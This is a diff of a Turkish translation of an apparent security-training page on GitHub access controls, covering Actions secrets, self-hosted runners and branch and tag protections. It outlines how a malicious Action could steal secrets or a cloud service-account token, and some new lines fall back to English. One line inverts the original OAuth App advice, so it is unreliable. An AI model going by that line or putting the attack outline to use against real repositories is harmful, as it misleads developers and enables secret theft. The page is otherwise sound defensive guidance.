+Her kullanıcının bilgisi içinde kullanıcının **üye olduğu takımlar** ve kullanıcının **erişimi olan repo'lar** görülebilir.
 
-## Github Kimlik Doğrulaması
+## Github Kimlik Doğrulama
 
-Github, hesabınıza kimlik doğrulamak ve sizin adınıza işlemler gerçekleştirmek için farklı yollar sunar.
+Github hesabınıza kimlik doğrulamak ve sizin adınıza işlem yapmak için farklı yollar sunar.
 
 ### Web Erişimi
 
-**github.com** adresine erişerek **kullanıcı adınız ve şifreniz** (ve potansiyel olarak bir **2FA**) ile giriş yapabilirsiniz.
+**github.com**'a erişerek **username ve password** (ve muhtemelen **2FA**) ile giriş yapabilirsiniz.
 
-### **SSH Anahtarları**
+### **SSH Keys**
 
-Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya daha fazla genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Hesabınızı, ilgili **private key**in sizin adınıza işlem yapmasına izin veren bir veya birden fazla public key ile yapılandırabilirsiniz. [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **GPG Anahtarları**
+#### **GPG Keys**
 
-Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmıyorsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir. Daha fazla bilgi için [dikkatli mod hakkında buradan öğrenin](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Bu anahtarlarla kullanıcıyı **taklit edemezsiniz**, ancak eğer kullanmazsanız **imzasız commit gönderirken keşfedilebilirsiniz**. [vigilant mode hakkında daha fazla bilgi için buraya bakın](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Kişisel Erişim Jetonları**
+### **Personal Access Tokens**
 
-Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim jetonu oluşturabilirsiniz. Kişisel erişim jetonu oluştururken, **kullanıcı** **jetonun** sahip olacağı **izinleri** **belirtmelidir**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Bir uygulamaya hesabınıza erişim vermek için personal access token oluşturabilirsiniz. Bir personal access token oluştururken **kullanıcının** token'ın sahip olacağı **izinleri belirtmesi gerekir**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Oauth Uygulamaları
+### Oauth Applications
 
-Oauth uygulamaları, **github bilginizin bir kısmına erişim izni veya sizi taklit etme** izni isteyebilir. Bu işlevselliğin yaygın bir örneği, bazı platformlarda bulabileceğiniz **github ile giriş yap** butonudur.
+Oauth uygulamaları sizden **github bilgilerinizin bir bölümüne erişim veya sizi taklit etme** izni isteyebilir. Bu işlevselliğin yaygın bir örneği bazı platformlarda bulabileceğiniz **login with github butonu**dur.
 
-- Kendi **Oauth uygulamalarınızı** [https://github.com/settings/developers](https://github.com/settings/developers) adresinde **oluşturabilirsiniz**.
-- Hesabınıza erişimi olan tüm **Oauth uygulamalarını** [https://github.com/settings/applications](https://github.com/settings/applications) adresinde görebilirsiniz.
-- Oauth Uygulamaların isteyebileceği **kapsamları** [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) adresinde görebilirsiniz.
-- Bir **organizasyondaki** uygulamaların üçüncü taraf erişimini _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ adresinde görebilirsiniz.
+- Kendi **Oauth applications**'ınızı [https://github.com/settings/developers](https://github.com/settings/developers) adresinde **oluşturabilirsiniz**.
+- Hesabınıza erişimi olan tüm **Oauth applications**'ı [https://github.com/settings/applications](https://github.com/settings/applications) adresinde görebilirsiniz.
+- Oauth App'lerin isteyebileceği **scopes**'u şu adreste görebilirsiniz: [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Bir **organization** içindeki uygulamaların üçüncü taraf erişimini _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ adresinde görebilirsiniz.
 
 Bazı **güvenlik önerileri**:
 
-- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı gibi hareket etmelidir** (örneğin, kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır.
-- Bir OAuth Uygulaması, kimlik doğrulaması yapılmış kullanıcı için "GitHub ile Giriş Yap" özelliğini etkinleştirerek bir kimlik sağlayıcı olarak kullanılabilir.
-- **Tek bir depo** üzerinde hareket etmesini istiyorsanız bir **OAuth Uygulaması** oluşturmayın. `repo` OAuth kapsamı ile, OAuth Uygulamaları **kimlik doğrulaması yapılmış kullanıcının tüm** depolarında **hareket edebilir**.
-- **Takımınız veya şirketiniz** için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka kimse buna erişemez.
-- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) ulaşabilirsiniz.
+- Bir **OAuth App**, belirtilen scope'larla **tüm GitHub genelinde kimlik doğrulanmış kullanıcı gibi davranmamalıdır** (ör. kullanıcı bildirimleri sağlama gibi) ve yalnızca belirtilen scope'lara erişmelidir.
+- OAuth App, "Login with GitHub" etkinleştirerek kimlik sağlayıcı olarak kullanılabilir.
+- **repo** OAuth scope'u ile OAuth App'ler **kimlik doğrulanmış kullanıcının tüm repository'leri üzerinde** işlem yapabilir; bu nedenle **sadece tek bir repository** için uygulama geliştirmek istiyorsanız OAuth App kullanmayın.
+- Bir şirket veya takım için OAuth App oluşturmayın; OAuth App'ler **tek bir kullanıcı** olarak kimlik doğrular. Bir kişi şirket için OAuth App oluşturup sonra ayrılırsa, başka kimse ona erişemeyebilir.
+- Daha fazlası için [buraya bakın](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Github Uygulamaları
+### Github Applications
 
-Github uygulamaları, **github bilginize erişim sağlamak veya sizi taklit etmek** için izin isteyebilir. Github Uygulamalarında, uygulamanın erişim sağlayacağı depoları belirtmeniz gerekir.
+Github uygulamaları, belirli kaynaklar üzerinde belirli eylemleri gerçekleştirmek için **github bilgilerinize erişim veya sizi taklit etme** izinleri isteyebilir. Github Apps içinde uygulamanın erişeceği repository'leri belirtmeniz gerekir.
 
-- Bir GitHub Uygulaması yüklemek için, **organizasyon sahibi olmalı veya bir depoda yönetici izinlerine sahip olmalısınız**.
-- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**.
+- Bir GitHub App'i yüklemek için organization owner olmanız veya bir repository'de admin iznine sahip olmanız gerekir.
+- GitHub App bir **kişisel hesaba veya bir organizasyona** bağlanmalıdır.
 - Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz.
-- Hesabınıza erişimi olan tüm **Github uygulamalarını** [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz.
-- İşte **Github Uygulamaları için API Uç Noktaları**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişim sağlayabilir.
-- Bir **organizasyondaki** yüklü uygulamaları _https://github.com/organizations/\<org_name>/settings/installations_ adresinde görebilirsiniz.
+- Hesabınıza erişimi olan tüm **Github applications**'ı [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz.
+- Bunlar Github Applications için **API Endpoints**'tir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişebilecektir.
+- Bir organization'da yüklü uygulamaları _https://github.com/organizations/\<org_name>/settings/installations_ adresinde görebilirsiniz.
 
 Bazı güvenlik önerileri:
 
-- Bir GitHub Uygulaması, **bir kullanıcıdan bağımsız olarak eylemler gerçekleştirmelidir** (uygulama [kullanıcıdan sunucuya](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) jetonu kullanmıyorsa). Kullanıcıdan sunucuya erişim jetonlarını daha güvenli hale getirmek için, 8 saat sonra süresi dolacak erişim jetonları ve yeni bir erişim jetonu için değiştirilebilecek bir yenileme jetonu kullanabilirsiniz. Daha fazla bilgi için "[Kullanıcıdan sunucuya erişim jetonlarını yenileme](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" kısmına bakın.
-- GitHub Uygulamasının **belirli depolarla entegre olduğundan** emin olun.
-- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**.
-- GitHub Uygulamasının, bir kullanıcının yapabileceği her şeyi bilmesini ve yapmasını beklemeyin.
-- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _giriş yaparken_ ve diğer şeyleri yaparken bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
-- Sadece bir GitHub kullanıcısı olarak hareket etmek ve o kullanıcının yapabileceği her şeyi yapmak istiyorsanız bir GitHub Uygulaması oluşturmayın.
-- GitHub Actions ile uygulamanızı kullanıyorsanız ve iş akışı dosyalarını değiştirmek istiyorsanız, `workflow` kapsamını içeren bir OAuth jetonu ile kullanıcı adına kimlik doğrulaması yapmalısınız. Kullanıcının iş akışı dosyasını içeren depoda yönetici veya yazma iznine sahip olması gerekir. Daha fazla bilgi için "[OAuth uygulamaları için kapsamları anlama](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" kısmına bakın.
-- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) ulaşabilirsiniz.
+- Bir GitHub App, (uygulama bir [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token kullanmıyorsa) **kullanıcıdan bağımsız eylemler gerçekleştirmelidir**. User-to-server erişim token'larını daha güvenli tutmak için 8 saat sonra süresi dolacak erişim token'ları ve yeni erişim token'ı almak için değiş tokuş edilebilen refresh token kullanabilirsiniz. Daha fazla bilgi için "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." bölümüne bakın.
+- GitHub App'in belirli repository'lerle entegre olduğundan emin olun.
+- GitHub App bir **kişisel hesaba veya organizasyona** bağlanmalıdır.
+- GitHub App'ten bir kullanıcının bildiği ve yapabildiği her şeyi beklemeyin.
+- Sadece "Login with GitHub" servisine ihtiyacınız varsa GitHub App kullanmayın. Ancak bir GitHub App, kullanıcıları oturum açtırmak ve diğer işleri yapmak için bir [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
+- Sadece bir GitHub kullanıcısı gibi davranıp o kullanıcının yapabildiği her şeyi yapmak istiyorsanız GitHub App geliştirmeyin.
+- App'i GitHub Actions ile kullanıyor ve workflow dosyalarını değiştirmek istiyorsanız, kullanıcı adına kimlik doğrulaması yapmak için `workflow` scope'u içeren bir OAuth token kullanmanız gerekir. Kullanıcının workflow dosyasını içeren repository'de admin veya write izni olmalıdır. Daha fazla bilgi için "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." bölümüne bakın.
+- Daha fazlası için [buraya bakın](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Bu, **github'da kimlik doğrulama yapmanın bir yolu değildir**, ancak **kötü niyetli** bir Github Action, **github'a yetkisiz erişim** elde edebilir ve **verilen** **ayrıcalıklara** bağlı olarak çeşitli **farklı saldırılar** gerçekleştirilebilir. Daha fazla bilgi için aşağıya bakın.
+Bu **github'da kimlik doğrulama yolu değildir**, ancak kötü amaçlı bir Github Action **izin verilmeyen erişim** elde edebilir ve Action'a verilen **ayrıca ayrıcalıklara** bağlı olarak çeşitli **saldırılar** gerçekleştirilebilir. Detaylar aşağıdadır.
 
-## Git Eylemleri
+## Git Actions
 
-Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeyi** sağlar. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek).
+Git actions, bir olay gerçekleştiğinde kodun **otomatik olarak çalıştırılmasını sağlar**. Genellikle çalıştırılan kod repository'nin koduyla ilgili olur (ör. bir docker container build etmek veya PR'de gizli anahtar olup olmadığını kontrol etmek).
 
 ### Yapılandırma
 
-_https://github.com/organizations/\<org_name>/settings/actions_ adresinde, organizasyon için **github eylemlerinin yapılandırmasını** kontrol etmek mümkündür.
+_https://github.com/organizations/\<org_name>/settings/actions_ adresinde organization için **github actions yapılandırmasını** kontrol edebilirsiniz.
 
-Github eylemlerinin kullanımını tamamen yasaklamak, **tüm github eylemlerine izin vermek** veya yalnızca belirli eylemlere izin vermek mümkündür.
+Github Actions kullanımını tamamen yasaklamak, **tüm github actions'lara izin vermek** veya sadece belirli actions'lara izin vermek mümkündür.
 
-Ayrıca, bir Github Eylemi çalıştırmak için **kimin onay alması gerektiğini** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür.
+Ayrıca **hangi kullanıcıların bir Github Action'ı çalıştırmak için onaya ihtiyaç duyacağını** ve bir Github Action çalıştırıldığında **GITHUB_TOKEN'ın izinlerini** yapılandırmak da mümkündür.
 
-### Git Gizli Bilgileri
+### Git Secrets
 
-Github Eylemleri genellikle github veya üçüncü taraf uygulamalarla etkileşimde bulunmak için bazı gizli bilgilere ihtiyaç duyar. **Gizli bilgileri açık metin olarak** depoya koymaktan kaçınmak için, github bunları **Gizli Bilgiler** olarak koymanıza izin verir.
+Github Action'lar genellikle github veya üçüncü parti uygulamalarla etkileşim için bazı secret'lara ihtiyaç duyar. Bunları repo içinde düz metin olarak koymamak için github bunları **Secrets** olarak koymaya izin verir.
 
-Bu gizli bilgiler, **depo veya tüm organizasyon için** yapılandırılabilir. Daha sonra, **Eylemin gizli bilgiye erişebilmesi için** bunu şu şekilde belirtmeniz gerekir:
+Bu secret'lar **repo için veya organizasyon genelinde** yapılandırılabilir. Daha sonra Action'ın secret'a erişebilmesi için onu şu şekilde deklar etmeniz gerekir:
 ```yaml
 steps:
 - name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
 env: # Or as an environment variable
 super_secret:${{ secrets.SuperSecret }}
 ```
-#### Örnek Bash Kullanımı <a href="#example-using-bash" id="example-using-bash"></a>
+#### Bash kullanarak örnek <a href="#example-using-bash" id="example-using-bash"></a>
 ```yaml
 steps:
 - shell: bash
@@ -168,82 +168,102 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Gizli bilgiler **yalnızca bunları tanımlayan Github Actions'tan erişilebilir**.
+> Secrets **yalnızca onları beyan eden Github Actions'tan erişilebilir**.
 
-> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları bunlara tekrar erişemeyecek**, yalnızca **değiştirebileceklerdir**.
+> Repo veya organization içinde yapılandırıldıktan sonra **github kullanıcıları bunlara tekrar erişemeyecek**, sadece **değiştirebilecekler**.
 
-Bu nedenle, **github gizli bilgilerini çalmanın tek yolu, Github Action'ı yürüten makineye erişim sağlamaktır** (bu senaryoda yalnızca Action için tanımlanan gizli bilgilere erişebileceksiniz).
+Bu nedenle, **github secrets'i çalmanın tek yolu, Github Action'ı çalıştıran makineye erişebilmek**tir (bu senaryoda yalnızca Action için tanımlanmış secrets'a erişebileceksiniz).
 
-### Git Ortamları
+### Git Environments
 
-Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şey verebilirsiniz:
+Github, **environments** oluşturmanıza ve **secrets** saklamanıza izin verir. Ardından, environment içindeki secrets'a github action'a şu şekilde erişim verebilirsiniz:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Bir ortamı **tüm dallar** (varsayılan), **yalnızca korumalı** dallar veya **hangi dalların erişebileceğini belirtmek** için yapılandırabilirsiniz.\
-Ayrıca, bir **eylem** gerçekleştirmeden önce **gerekli inceleme sayısını** ayarlayabilir veya dağıtımların devam etmesine izin vermeden önce **bir süre bekleyebilirsiniz**.
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
+- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
+- **Wait timer**: delay deployments for a configurable period.
 
+Ayrıca bir environment kullanılarak bir **action** çalıştırılmadan önce **gerekli inceleme sayısını** belirleyebilir veya dağıtımların devam etmesine izin vermeden önce belli bir **süre bekletebilirsiniz**.
 ### Git Action Runner
 
-Bir Github Action, **github ortamında çalıştırılabilir** veya kullanıcı tarafından yapılandırılan bir **üçüncü taraf altyapısında** çalıştırılabilir.
+A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-Birçok organizasyon, **üçüncü taraf altyapısında** Github Actions çalıştırılmasına izin verecektir çünkü genellikle **daha ucuzdur**.
+Bazı organizasyonlar, Github Actions'ı kullanıcı tarafından yapılandırılan bir **third party infrastructure** içinde çalıştırmaya izin verir; bunun sebebi genellikle daha **ucuz** olmasıdır.
 
-Bir organizasyonun **kendinden barındırılan çalıştırıcılarını** _https://github.com/organizations/\<org_name>/settings/actions/runners_ adresinde listeleyebilirsiniz.
+Bir organizasyonun **self-hosted runners** listesini şu adreste görebilirsiniz: _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-**Github Actions'ın, github dışındaki altyapıda hangi eylemlerin çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında `runs-on: self-hosted` aramaktır.
+Hangi **Github Actions'ın non-github infrastructure** içinde çalıştırıldığını bulmanın yolu, Github Action konfigürasyon yaml'ında `runs-on: self-hosted` aramaktır.
 
-**Farklı bir organizasyonun kendinden barındırılan kutusunda bir organizasyonun Github Action'ını çalıştırmak mümkün değildir** çünkü **çalıştırıcıyı yapılandırırken çalıştırıcının ait olduğu yeri bilmek için benzersiz bir token oluşturulur**.
+It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-Örneğin, özel **Github Runner bir makinede AWS veya GCP içinde yapılandırılmışsa**, Action **metadata uç noktasına erişim sağlayabilir** ve **makinenin çalıştığı hizmet hesabının token'ını çalabilir**.
+Eğer özelleştirilmiş **Github Runner** örneğin bir makinede AWS veya GCP içinde yapılandırıldıysa, Action **metadata endpoint'e erişim** sağlayabilir ve makinenin çalıştığı servis hesabının token'ını **çalabilir**.
 
-### Git Action Kompromisi
+### Git Action Compromise
 
-Eğer tüm eylemlere (veya kötü niyetli bir eyleme) izin verilirse, bir kullanıcı **kötü niyetli** bir **Github action** kullanabilir ve bu, çalıştırıldığı **konteyneri tehlikeye atabilir**.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
 > [!CAUTION]
-> Bir **kötü niyetli Github Action** çalıştırılması, saldırgan tarafından **istismar edilebilir**:
+> A **malicious Github Action** run could be **abused** by the attacker to:
 >
-> - **Eylemin erişebildiği tüm gizli bilgileri çalmak**
-> - **Yanlış yöne hareket etmek**, eğer eylem **üçüncü taraf altyapısında** çalıştırılıyorsa ve makineyi çalıştırmak için kullanılan SA token'ına erişim sağlanabiliyorsa (muhtemelen metadata servisi aracılığıyla)
-> - **Çalışma akışında** kullanılan token'ı **istismar etmek** ve **eylemin çalıştırıldığı repo kodunu çalmak veya hatta değiştirmek**.
+> - **Steal all the secrets** the Action has access to
+> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
 
-## Dalları Korumak
+## Branch Protections
 
-Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, **bazı dallar içinde kod yazabilmek için birkaç koruma yöntemi koymaktır**.
+Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
 
-Bir deponun **dal korumaları** _https://github.com/\<orgname>/\<reponame>/settings/branches_ adresinde bulunabilir.
+Bir repository'nin **branch protections** ayarlarına şu adresten ulaşılabilir: _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> **Bir dal korumasını organizasyon düzeyinde ayarlamak mümkün değildir**. Bu nedenle, hepsi her repo üzerinde belirtilmelidir.
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
 
-Bir dala (örneğin master'a) farklı korumalar uygulanabilir:
+Farklı korumalar bir branche (ör. master) uygulanabilir:
 
-- **Birleştirmeden önce bir PR gerektirebilirsiniz** (bu nedenle kodu doğrudan dal üzerinde birleştiremezsiniz). Eğer bu seçilirse, farklı diğer korumalar devreye girebilir:
-- **Onay sayısı gerektirin**. PR'nızın onaylanması için genellikle 1 veya 2 kişinin daha onay vermesi istenir, böylece tek bir kullanıcı kodu doğrudan birleştiremez.
-- **Yeni commitler gönderildiğinde onayları geçersiz kılın**. Aksi takdirde, bir kullanıcı meşru bir kodu onaylayabilir ve ardından kötü niyetli kod ekleyip birleştirebilir.
-- **Kod Sahiplerinden inceleme gerektirin**. Repo için en az 1 kod sahibi PR'yı onaylamalıdır (bu nedenle "rastgele" kullanıcılar onay veremez).
-- **Pull request incelemelerini geçersiz kılabilecek kişileri kısıtlayın.** Pull request incelemelerini geçersiz kılabilecek kişileri veya takımları belirtebilirsiniz.
-- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin verin**. Bu kullanıcılar önceki kısıtlamaları atlayabilecektir.
-- **Birleştirmeden önce durum kontrollerinin geçmesini gerektirin.** Commit'i birleştirebilmek için bazı kontrollerin geçmesi gerekir (örneğin, açık metin gizli olmadığını kontrol eden bir github action).
-- **Birleştirmeden önce konuşma çözümlemesi gerektirin**. Kod üzerindeki tüm yorumlar, PR birleştirilmeden önce çözülmelidir.
-- **İmzalı commitler gerektirin**. Commitlerin imzalanması gerekir.
-- **Doğrusal tarih gerektirin.** Eşleşen dallara birleştirme commitlerinin gönderilmesini engelleyin.
-- **Yönetici dahil edin**. Bu ayarlanmazsa, yöneticiler kısıtlamaları atlayabilir.
-- **Eşleşen dallara kimlerin itme yapabileceğini kısıtlayın**. PR gönderebilecek kişileri kısıtlayın.
+- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
+- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
+- **Require signed commits**. The commits need to be signed.
+- **Require linear history.** Prevent merge commits from being pushed to matching branches.
+- **Include administrators**. If this isn't set, admins can bypass the restrictions.
+- **Restrict who can push to matching branches**. Restrict who can send a PR.
 
 > [!NOTE]
-> Gördüğünüz gibi, bir kullanıcının bazı kimlik bilgilerini elde etmeyi başarsanız bile, **repo'lar korumalı olabilir ve bu nedenle örneğin master'a kod göndermenizi engelleyebilir**.
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
 
-## Referanslar
+## Tag Protections
+
+Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
+
+1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
+2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
+3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
+
+Bu zincir, tek bir işbirlikçinin workflow YAML'ı düzenleyerek retag veya force-publish ile sürümleri değiştirmesini engeller; çünkü deployment gate'leri workflow dışından uygulanır.
+
+## References
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}